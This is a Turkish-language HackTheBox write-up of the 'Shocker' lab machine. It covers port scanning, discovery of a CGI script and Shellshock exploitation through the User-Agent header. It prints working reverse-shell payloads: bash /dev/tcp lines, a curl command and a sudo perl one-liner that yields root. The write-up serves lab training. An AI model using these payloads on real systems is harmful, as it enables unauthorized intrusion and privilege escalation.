Shocker / HackTheBox Write-Up

Orhan YILDIRIM
Nov 1 · 4 min read

Shocker isminden de anlaşılacağı üzere “Shellshock” zafiyetini barındıran bir kurgu içeren makinedir.

Örn. Shellshock kullanımına ait kod aşağıda verilmiştir.

() { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.18/5555 0>&1

İlgili zafiyet hakkında detaylı bilgi almak için aşağıda linki verilen Türkçe içeriği okuyabilirsiniz.

https://medium.com/@nuriyavuz2.71/shellshock-bash-bug-zafiyeti-nedir-8b5d20f71a0d

Sistem üzerindeki portlarda hangi servislerin çalıştığını bulmak için nmap ile port taraması yapıyoruz.

nmap -n -Pn — open -p- 10.10.10.56

Tespit edilen port taraması aşağıdaki ekran görüntüsünde verilmiştir.

Çalışan servisler üzerinde versiyon taraması yapmak için aşağıdaki kodu kullanıyoruz.

nmap -n -Pn -sV -p80,2222 10.10.10.56

CTF’ lerde HTTP(s) hizmeti varsa ilk yapacağımız şey ilgili sayfayı ziyaret etmek, sayfa kaynağını görüntülemek, dizin ve dosya taraması yapmak.

Eğer aşağıdaki gibi resim bulunduran bir sayfada resmi download edip aşağıdaki araçlarla resim içinde yer alabilecek ifadeleri araştırabiliriz.

strings

exiftool

cat

Resimden bir ipucu bulamadık. Klasik web toolları ile keşif yapmaya devam ediyoruz. Aşağıdaki toolları kullanmaya başlıyoruz.

nikto

gobuster

dirb

dirbuster

“dirbuster” aracı ile ekran görüntüsünde görüldüğü üzere “recursive” modda “php, aspx, sh, py, pl” extensiona sahip dosyaları da tek toolda aratabiliriz.

Uygulama ile bulunan dizin ve dosyalar aşağıdaki ekran görüntüsünde verilmiştir. Görüldüğü gibi “user.sh” scripti bulduk.

İlgili scripti download ederek içeriğine göz atıyoruz.

İlgili scripti incelediğimizde uptime test script kelimeleri bize bu scriptin crontab gibi belirli bir zamanda tetiklenen bir script olduğunu hatırlatıyor. Adından da anlaşılacağı gibi herhangi bir kullanıcıya ait bir script ise biz bu scripti mevcut kullanıcının yetkileriyler reverse shell almak için kullanabiliriz.

İlgili sayfaya “Burp Proxy” ile istek atıyoruz.

İsteğimiz üzerinde “User-Agent” headerına aşağıdaki şekilde shellshock ile “ls” komutunu giriyoruz.

() { :; }; echo; /bin/ls

İlgili komut aşağıdaki şekilde istekte gönderilmiştir.

Bu istek ile birlikte “ls” komutunu “binary” olarak çalıştırarak mevcut dizin içeriğini listeliyoruz.

İstek ve dönen yanıta ait ekran görüntüsü aşağıda verilmiştir. Ekran görüntüsünde görüldüğü üzere mevcut dizinde “user.sh” dosyası bulunmaktadır.

Binary olarak “ls” komutunu kullanıyorsak bu komutu çalıştırıp hatta çalıştırırken de reverse shell için payload yazarak bir ters bağlantı alabiliriz.

Payloadımızı hazırlamak için IP adresimizi öğrenelim.

443 portumuzu dinlemeye alıyoruz.

Aşağıdaki ekran görüntüsünde görüleceği üzere Burp üzerinden gönderdiğimiz istekte shellshock ile reverse bağlantı isteği attık ve lokalimizde 443 portuna anında bir istek geldi ancak bağlantı sağlayamadık.

Bu sefer Burp üzerindeki istegimizi aşağıdaki kod ile yine binary üzerinden göndermeyi deniyoruz. Aşağıdaki kod ile gerçekleştirilen istekte bu sefer reverse shell elde ettik.

() { :; }; echo; /bin/bash -i >& /dev/tcp/10.10.14.18/443 0>&1

Burada “Burp” e alternatif olarak “curl” uygulamasını da kullanabilirdik. Aşağıdaki şekilde kullanabiliriz.

curl -H “User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.18/443 0>&1” http://10.10.10.56:80/cgi-bin/user.sh

İlk bayrağı alıyoruz.

Shell elde ettikten sonra ilk bakılacak komutlardan olan “sudo” komutu ile mevcut kullanıcının ilgili komut ile çalıştırabileceği komutlara bakıyoruz. Aşağıdaki ekran görüntüsünde görüleceği üzere “perl” ile sudo haklarıyla herşeyi yapabileceğimizi öğreniyoruz.

“perl” ile bir reverse shell payloadının olduğunu zaten bilmemiz gerek.

İlgili komutu kutsal kaynaktan alıyoruz.

Komutu kendimize göre yeniden düzenliyoruz.

sudo perl -e ‘use  Socket;$i=”10.10.14.18";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh  -i”);};’

Lokalimizde yine “nc” ile 4444 portumuzu dinlemeye alıyoruz.

Şimdi ise hedef sistem üzerinde sudo perl ile reverse tcp bağlantısını verecek komutu çalıştırıyoruz.

Aşağıdaki ekran görüntüsünde görüleceği üzere sudo haklarıyla çalıştırdığımız için reverse tcp bağlantıyı da root haklarıyla almış bulunmaktayız.

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade